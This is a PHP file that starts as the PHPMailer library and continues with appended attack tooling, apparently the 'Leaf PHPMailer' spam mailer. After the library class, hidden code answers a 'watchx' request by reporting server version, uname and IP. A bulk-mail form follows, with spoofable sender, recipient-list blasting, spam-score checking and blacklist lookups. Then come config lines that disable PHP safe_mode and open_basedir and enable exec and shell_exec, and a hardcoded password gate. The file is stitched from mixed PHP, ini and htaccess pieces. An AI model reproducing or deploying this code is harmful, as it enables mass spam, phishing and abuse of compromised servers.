        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "DtmU4BNuGFw";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
